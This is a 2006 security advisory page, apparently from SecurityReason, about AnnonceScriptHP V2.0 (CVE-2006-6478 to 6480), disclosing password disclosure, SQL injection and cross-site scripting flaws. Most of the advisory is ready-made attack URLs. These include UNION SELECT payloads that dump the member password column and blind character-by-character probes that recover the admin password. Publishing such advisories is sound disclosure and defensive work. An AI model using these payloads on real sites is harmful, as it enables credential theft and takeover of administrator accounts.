|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | AnnonceScriptHP V2.0 Multiple Vulnerabilities
|
SecurityAlert : 2019
CVE : CVE-2006-6480 CVE : CVE-2006-6479 CVE : CVE-2006-6478
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : No
Exploit Available : Yes
Credit : Mr_KaLiMaN
Published : 12.12.2006
Affected Software : | AnnonceScriptHP V2.0 |
 Advisory Content : AnnonceScriptHP V2.0
--------------------
Vendor site: http://www.scripthp.com/
Product: AnnonceScriptHP V2.0
Vulnerability: XSS & SQL Injection Vulnerability
Credits: Mr_KaLiMaN
Reported to Vendor: 02/12/06
Public disclosure: 09/12/06
Description:
------------
Password disclosure (all members):
http://[victim]/[script_annonce_path]/admin/admin_membre/fiche_membre.ph
p?idmembre=1 (1 for admin etc...)
SQL Injection Vulnerability:
http://[victim]/[script_annonce_path]/email.php?id=[SQL INJECTION]
http://[victim]/[script_annonce_path]/email.php?id=-1 UNION SELECT
null,passe,pseudo FROM an_membre WHERE idmembre=1#
http://[victim]/[script_annonce_path]/voirannonce.php?no=[SQL INJECTION]
http://[victim]/[script_annonce_path]/voirannonce.php?no=1 AND
ORD(SUBSTRING((SELECT passe FROM an_membre WHERE idmembre=1),1,1))=98#
http://[victim]/[script_annonce_path]/admin/admin_membre/fiche_membre.ph
p?idmembre=[SQL INJECTION]
http://[victim]/[script_annonce_path]/admin/admin_membre/fiche_membre.ph
p?idmembre=-1 UNION SELECT
null,null,null,null,null,null,null,null,null,null,null,null,null,null,nu
ll,null,null,null FROM etc...#
http://[victim]/[script_annonce_path]/admin/admin_annonce/okvalannonce.p
hp?idannonce=[SQL INJECTION]
http://[victim]/[script_annonce_path]/admin/admin_annonce/okvalannonce.p
hp?idannonce=1%20UNION%20SELECT%20null,null,null,null,null,null,null,nul
l,null,null,null,null#
http://[victim]/[script_annonce_path]/admin/admin_annonce/changeannonce.
php?idannonce=[SQL INJECTION]
http://[victim]/[script_annonce_path]/admin/admin_annonce/changeannonce.
php?idannonce=1 AND ORD(SUBSTRING((SELECT passe FROM an_membre WHERE
idmembre=1),1,1))=98#
XSS :
http://[victim]/[script_annonce_path]/erreurinscription.php?email=[XSS]
http://[victim]/[script_annonce_path]/Templates/admin.dwt.php?email=[XSS
]
http://[victim]/[script_annonce_path]/Templates/commun.dwt.php?email=[XS
S]
http://[victim]/[script_annonce_path]/Templates/membre.dwt.php?email=[XS
S]
http://[victim]/[script_annonce_path]/admin/admin_config/Aide.php?email=
[XSS]
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|